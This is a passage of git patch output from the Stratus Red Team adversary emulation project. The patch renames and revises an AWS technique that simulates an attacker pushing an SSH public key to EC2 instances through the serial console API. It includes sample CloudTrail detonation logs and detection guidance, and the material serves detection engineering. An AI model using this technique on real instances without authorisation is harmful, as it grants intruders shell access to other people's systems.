"stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "40bff50c-9205-406c-b47e-b928e668cbb9", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "requestParameters": { + "instanceId": "i-DEbfB3Feb0e927a6c", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + } + ] + ``` + +[^1]: These logs have been gathered from a real detonation of this technique in a test environment using [Grimoire](https://github.com/DataDog/grimoire), and anonymized using [LogLicker](https://github.com/Permiso-io-tools/LogLicker). diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md index 2ffe3668e..5145dee15 100755 --- a/docs/attack-techniques/AWS/index.md +++ b/docs/attack-techniques/AWS/index.md @@ -85,7 +85,7 @@ Note that some Stratus attack techniques may correspond to more than a single AT ## Lateral Movement -- [Usage of EC2 Serial Console to push SSH public key](./aws.lateral-movement.ec2-serial-console-connect.md) +- [Usage of EC2 Serial Console to push SSH public key](./aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md) - [Usage of EC2 Instance Connect on multiple instances](./aws.lateral-movement.ec2-instance-connect.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index cd6d27f22..40d1f63e9 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -38,7 +38,7 @@ This page contains the list of all Stratus Attack Techniques. | [S3 Ransomware through client-side encryption](./AWS/aws.impact.s3-ransomware-client-side-encryption.md) | [AWS](./AWS/index.md) | Impact | | [S3 Ransomware through individual file deletion](./AWS/aws.impact.s3-ransomware-individual-deletion.md) | [AWS](./AWS/index.md) | Impact | | [Console Login without MFA](./AWS/aws.initial-access.console-login-without-mfa.md) | [AWS](./AWS/index.md) | Initial Access | -| [Usage of EC2 Serial Console to push SSH public key](./AWS/aws.lateral-movement.ec2-serial-console-connect.md) | [AWS](./AWS/index.md) | Lateral Movement | +| [Usage of EC2 Serial Console to push SSH public key](./AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md) | [AWS](./AWS/index.md) | Lateral Movement | | [Usage of EC2 Instance Connect on multiple instances](./AWS/aws.lateral-movement.ec2-instance-connect.md) | [AWS](./AWS/index.md) | Lateral Movement | | [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence | | [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | diff --git a/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json new file mode 100644 index 000000000..d48c2debc --- /dev/null +++ b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json @@ -0,0 +1,158 @@ +[ + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "361b1533-7e1f-4e45-a34f-3e7958253c08", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "requestParameters": { + "instanceId": "i-7C5CBC1114349DB57", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "3c56f906-ae4c-428b-8840-87f96ad2fb53", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "requestParameters": { + "instanceId": "i-1150EdC0D493fbb5c", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "me-northnorth-1r", + "eventCategory": "Management", + "eventID": "40bff50c-9205-406c-b47e-b928e668cbb9", + "eventName": "SendSerialConsoleSSHPublicKey", + "eventSource": "ec2-instance-connect.amazonaws.com", + "eventTime": "2024-11-26T10:51:12Z", + "eventType": "AwsApiCall", + "eventVersion": "1.08", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "673637476045", + "requestID": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "requestParameters": { + "instanceId": "i-DEbfB3Feb0e927a6c", + "monitorMode": false, + "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", + "serialPort": 0 + }, + "responseElements": { + "requestId": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "success": true + }, + "sourceIPAddress": "218.215.244.17", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userIdentity": { + "accessKeyId": "ASIA7J3OZH03T5QLALG3", + "accountId": "673637476045", + "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", + "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T10:42:10Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "673637476045", + "arn": "arn:aws:iam::673637476045:role/sample-role", + "principalId": "AROARI36U4FA2S9L0G6R4", + "type": "Role", + "userName": "sample-role" + }, + "webIdFederationData": {} + }, + "type": "AssumedRole" + } + } +] \ No newline at end of file diff --git a/docs/index.yaml b/docs/index.yaml index cc7b63592..5779854d3 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -211,7 +211,7 @@ AWS: platform: AWS isIdempotent: true Lateral Movement: - - id: aws.lateral-movement.ec2-serial-console-connect + - id: aws.lateral-movement.ec2-serial-console-send-ssh-public-key name: Usage of EC2 Serial Console to push SSH public key isSlow: true mitreAttackTactics: diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go similarity index 80% rename from v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go rename to v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go index fb1368ae3..a2c89f4e7 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go @@ -21,12 +21,12 @@ var tf []byte func init() { const codeBlock = "```" stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ - ID: "aws.lateral-movement.ec2-serial-console-connect", + ID: "aws.lateral-movement.ec2-serial-console-send-ssh-public-key", FriendlyName: "Usage of EC2 Serial Console to push SSH public key", IsSlow: true, Description: ` -Simulates an attacker pushing an SSH public key to multiple EC2 instances through the EC2 Serial Console API. This allows anyone -with the corresponding private key to connect directly to the systems via SSH. +Simulates an attacker using EC2 Instance Connect to push an SSH public key to multiple EC2 instances, using SendSerialConsoleSSHPublicKey. This allows anyone +with the corresponding private key to connect directly to the systems via SSH, assuming they have appropriate network connectivity. Warm-up: @@ -34,30 +34,18 @@ Warm-up: Detonation: -- Adds a public SSH key to the EC2 instances using the Serial Console API for 60 seconds. +- Adds a public SSH key to the EC2 instances using SendSerialConsoleSSHPublicKey. References: +- https://docs.aws.amazon.com/ec2-instance-connect/latest/APIReference/API_SendSerialConsoleSSHPublicKey.html - https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud - https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf - https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/ - https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/ `, Detection: ` -Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. Sample event: - -` + codeBlock + ` -{ - "eventSource": "ec2-instance-connect.amazonaws.com", - "eventName": "SendSerialConsoleSSHPublicKey", - "requestParameters": { - "instanceId": "i-123456", - "serialPort": 0, - "sSHPublicKey": "ssh-ed25519 ..." - "monitorMode": false - } -} -` + codeBlock + ` +Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, when a user is adding an SSH key to EC2 instances. `, Platform: stratus.AWS, PrerequisitesTerraformCode: tf, @@ -91,7 +79,7 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error return nil } -func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId, sshPublicKey string) error { +func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId string, sshPublicKey string) error { _, err := ec2instanceconnectClient.SendSerialConsoleSSHPublicKey(context.Background(), &ec2instanceconnect.SendSerialConsoleSSHPublicKeyInput{ InstanceId: &instanceId, SSHPublicKey: &sshPublicKey, diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf similarity index 100% rename from v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/main.tf rename to v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/my_key.pub b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/my_key.pub similarity index 100% rename from v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key/my_key.pub rename to v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/my_key.pub diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 0baa417a5..be8acf485 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -30,8 +30,8 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/impact/s3-ransomware-client-side-encryption" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/initial-access/console-login-without-mfa" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-ssh-public-key" - _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-role" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-user" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-admin-user" @@ -44,8 +44,8 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/privilege-escalation/change-iam-user-password" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-custom-script-extension" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" - _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/persistence/create-bastion-shareable-link" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/persistence/create-bastion-shareable-link" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/entra-id/persistence/backdoor-application" From 03e629ed04812f4f8bde7872564d7669460546a0 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Tue, 26 Nov 2024 16:51:26 +0100 Subject: [PATCH 09/10] Change logic for handling initial serial console enablement --- ....ec2-serial-console-send-ssh-public-key.md | 169 ++++++++++++------ ...c2-serial-console-send-ssh-public-key.json | 165 +++++++++++------ .../main.go | 40 +++++ .../main.tf | 11 +- 4 files changed, 265 insertions(+), 120 deletions(-) diff --git a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md index 7d1f3efb5..c71b85653 100755 --- a/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md +++ b/docs/attack-techniques/AWS/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.md @@ -56,58 +56,111 @@ The following CloudTrail events are generated when this technique is detonated[^ - `ec2-instance-connect:SendSerialConsoleSSHPublicKey` +- `ec2:EnableSerialConsoleAccess` + ??? "View raw detonation logs" - ```json hl_lines="6 58 110" + ```json hl_lines="6 57 109 161" [ { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", + "eventCategory": "Management", + "eventID": "37ba412b-f943-44f2-ae48-4527f6e789d9", + "eventName": "EnableSerialConsoleAccess", + "eventSource": "ec2.amazonaws.com", + "eventTime": "2024-11-26T15:35:22Z", + "eventType": "AwsApiCall", + "eventVersion": "1.10", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "844015365555", + "requestID": "e110338f-cc06-4284-bf16-6528a7df1561", + "requestParameters": { + "EnableSerialConsoleAccessRequest": "" + }, + "responseElements": { + "EnableSerialConsoleAccessResponse": { + "requestId": "e110338f-cc06-4284-bf16-6528a7df1561", + "serialConsoleAccessEnabled": true, + "xmlns": "http://ec2.amazonaws.com/doc/2016-11-15/" + } + }, + "sourceIPAddress": "201.252.42.03", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2.cniso-east-3r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", + "userIdentity": { + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T15:14:58Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", + "type": "Role", + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" + } + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "361b1533-7e1f-4e45-a34f-3e7958253c08", + "eventID": "787b2464-f27b-4d4c-91bc-6396f2297d0e", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:23Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "recipientAccountId": "844015365555", + "requestID": "c74b1e77-bc91-4174-b297-d06a71c89abf", "requestParameters": { - "instanceId": "i-7C5CBC1114349DB57", + "instanceId": "i-EFCb4e480CAbc4CF9", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "requestId": "c74b1e77-bc91-4174-b297-d06a71c89abf", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, @@ -115,51 +168,51 @@ The following CloudTrail events are generated when this technique is detonated[^ } }, { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "3c56f906-ae4c-428b-8840-87f96ad2fb53", + "eventID": "e49972cb-b394-43e2-aab5-602f1fb56f85", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:23Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "recipientAccountId": "844015365555", + "requestID": "d392c0ca-351f-472f-9ca3-b411beb9df9c", "requestParameters": { - "instanceId": "i-1150EdC0D493fbb5c", + "instanceId": "i-B2ABDCa5b78E0f1dd", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "requestId": "d392c0ca-351f-472f-9ca3-b411beb9df9c", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, @@ -167,51 +220,51 @@ The following CloudTrail events are generated when this technique is detonated[^ } }, { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "40bff50c-9205-406c-b47e-b928e668cbb9", + "eventID": "f4dc86c9-6b22-4643-a0e8-fcb97fcfae68", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:22Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "recipientAccountId": "844015365555", + "requestID": "88c8e41e-7754-4377-983f-140f8ca5617e", "requestParameters": { - "instanceId": "i-DEbfB3Feb0e927a6c", + "instanceId": "i-D46eD8FCdefED5aAE", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "requestId": "88c8e41e-7754-4377-983f-140f8ca5617e", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, diff --git a/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json index d48c2debc..2fa0ce237 100644 --- a/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json +++ b/docs/detonation-logs/aws.lateral-movement.ec2-serial-console-send-ssh-public-key.json @@ -1,50 +1,101 @@ [ { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "361b1533-7e1f-4e45-a34f-3e7958253c08", + "eventID": 